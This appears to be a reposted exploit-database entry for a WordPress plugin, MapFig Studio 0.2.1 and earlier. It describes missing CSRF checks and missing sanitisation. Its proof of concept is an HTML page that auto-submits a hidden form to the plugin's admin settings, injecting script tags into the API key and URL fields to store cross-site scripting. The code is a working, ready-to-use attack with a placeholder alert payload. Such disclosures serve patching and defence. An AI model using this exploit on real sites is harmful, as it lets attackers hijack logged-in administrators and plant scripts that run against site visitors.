2024-8-15 05:57:15 Author: cxsecurity.com(查看原文) 阅读量:5 收藏
# Exploit Title: MapFig Studio <= 0.2.1 - Stored XSS via CSRF # Date: 15-04-2024 # Exploit Author: Vuln Seeker Cybersecurity Team # Vendor Homepage: https://wordpress.org/plugins/mapfig-studio/ # Version: <= 0.2.1 # Tested on: Firefox # Contact me: [email protected] Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack Proof of Concept Have a logged in admin open a page containing: <html> <body> <form action="http://example.com/wp-admin/admin.php?page=studio_settings" method="POST"> <input type="hidden" name="studio_apikey" value=""><script>alert(1)</script>" /> <input type="hidden" name="studio_url" value=""><script>alert(1)</script>" /> <input type="hidden" name="save" value="Save!" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> Reference: https://wpscan.com/vulnerability/0346b62c-a856-4554-a24a-ef2c2943bda9/
Thanks for you comment!
Your message is in quarantine 48 hours.
如有侵权请联系:admin#unsafe.sh